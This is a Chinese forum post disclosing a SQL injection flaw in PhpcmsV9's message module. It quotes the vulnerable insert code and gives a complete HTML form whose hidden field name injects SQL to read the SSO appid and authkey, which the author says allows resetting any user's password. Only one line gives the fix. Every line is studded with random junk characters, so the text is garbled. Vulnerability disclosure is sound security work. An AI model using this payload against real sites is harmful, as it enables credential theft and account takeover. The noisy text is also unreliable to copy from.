找回密码
 立即注册
查看: 2927|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
" T$ i/ M# f* Z2 v8 I* [
9 T# o) q( a( G" [第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
$ O* S% S0 Q4 C3 l  }) r7 C1 L$ ^/ `  f, m( w# w
明天再更新下一个漏洞。, n/ k5 f& D) t0 V. ^
详细说明:7 N$ w/ z% J( f. Z* v- ?0 \
在/phpcms9/phpcms/modules/message/index.php中有代码如下:( W  }- `9 ?8 {$ B

6 m# T8 h1 A, ^1 V6 j$messageid = $this->message_db->insert($_POST['info'],true);
" g( D5 J* P& ]2 l. F% K* P6 P0 H- n* _6 C+ ~
* Z" b  _, I$ ~% g# Y" V. w
insert方法是key value的,代码如下:
# {5 I" d6 Q# F2 y- a7 p" n3 O* q" B3 n# M5 A6 F
public function insert($data, $table, $return_insert_id = false, $replace = false) {- V3 r$ }3 j4 Q; E5 R( ]
                if(!is_array( $data ) || $table == '' || count($data) == 0) {4 ^& W4 B& h* q$ A
                        return false;
2 F( X) E7 |( ^  Z# w                }/ r. m& j! E! q  ^8 S5 C
                " c: Y. k/ [! H' L4 \
                $fielddata = array_keys($data);
( N: X$ x* f3 h& M7 b& _5 G                $valuedata = array_values($data);: x0 X. }5 v1 c1 o/ j
                array_walk($fielddata, array($this, 'add_special_char'));! D. B9 ]8 H: k4 O/ l2 Q+ u
                array_walk($valuedata, array($this, 'escape_string'));
" W. O+ a1 D, k& {4 p                ( ?' @) v$ p+ ?0 Q$ i# ?
                $field = implode (',', $fielddata);
% `' t0 @5 f0 [" y6 g7 I: |                $value = implode (',', $valuedata);
) M+ {1 l; k0 |3 b8 h% V1 K+ w( L( k8 A5 p" N1 ^
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';* z+ f4 z+ D' U9 ]* k% w- _/ e( Q8 j6 m
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
" n  U( @% l' j  a& t                $return = $this->execute($sql);4 z( m* v4 w' h9 Q
                return $return_insert_id ? $this->insert_id() : $return;
) V5 Y4 d0 q$ v6 @5 o        }
9 g8 @% d# [( T
5 n: J8 P# ~) I+ i: U& I* p9 e. c( G# ^
嗯,很遗憾的是
. b, U1 n* p1 W  A% b: o7 u
! D# f/ F- I# c5 ?array_walk($fielddata, array($this, 'add_special_char'));; H+ w4 G: s6 T1 D4 e) N3 c$ I

4 Q  W7 R. l) f1 g9 K# a6 D
1 t" T" e  x0 L- X% y  L7 y% `中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
! {7 O5 j  A2 e) r* J" e0 D, H
$ {8 x* M' y! u8 ]到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。! F0 h/ I* g, D: H

3 N  x3 z" ~5 h( F9 P2 S" s8 s漏洞证明:. Z/ E" G1 V8 t, }
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。! q: D3 {( `+ |! n3 t* ~5 M
( P5 }  F* Q: o$ Y
( p$ R! c, r3 e& F. L( T. }
表单如下:用户名什么的得自己改一改。! B8 Q" e3 F* W. p, [% Y
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">5 C& @7 ^7 ^# Z3 q6 d$ X- |# w
<table width="100%" cellspacing="0" class="table_form">/ r- x1 |( E8 f3 Y. I
<tr>$ r6 J" J: G. |. F8 M9 A0 k
<th>标 题:</th>6 M. A* ]# o! q- [- r5 X
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>8 d+ G7 }: c/ B  ?$ y1 q8 g0 O
</tr> - K3 o) n5 T' S; R
<tr>1 E$ \% z; u5 E, a- B1 c
<th>内 容:</th>
  k" P% w, K$ Q<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>7 X" `; Y9 O8 y; J$ t
</tr>
8 Z9 M3 n/ ~2 S4 F6 H2 X; Y<input type="hidden" name="info[replyid]" value="2" />
% d: S  r* f, r2 e0 s2 u<input type="hidden" name="info[send_to_id]" value="cc" /> 7 F; ?% a" p! }( D2 o- T8 P
<input type="hidden" name="info[send_from_id]" value="hh"># c8 Y, \; @' Z) R8 m
<!-- 漏洞的利用重点在这里开始 -->) A; c3 M, I% t% |3 A# Q& R
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />   p5 F# C/ Q5 G" {, d
<!-- 漏洞的利用重点在这里结束 -->
' s/ v# c1 C; M* F<tr>
! j( g8 U9 u( f" t7 e* g$ u, z! A<th>验证码:</th>9 g8 ~  J! f# T. X/ e; ?" s( g
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>- ?" u$ a1 \! W5 F
</tr>- O. E, y& Z7 K! s. i. l& w
<tr>
6 f. u) i/ N! J/ L9 ~- \6 ~6 V<td></td>: G7 C' [: N% e
<td colspan="2"><label>
' `; Z7 g  r( g$ ~* a+ D) m4 W<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>! b5 ?7 j! H7 h- R; F
</label></td>
- J4 }* Y% q  X2 p4 P; w</tr>
( l: f5 X- D3 ^: |# `! p# ^</table>
3 ^# J) m  c% t) Z0 V</form>
* X4 ^# X# F3 X5 }) W) _2 K2 P在add_special_char函数内对key做过滤就可以了。) R3 s  {% H' x1 M7 [2 R6 ^5 R2 G' M
3 V4 @' w, y# S) f& m

/ I' f/ {: y0 e0 U8 u4 ]; g, H8 Z; f+ t' i7 X& ~

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表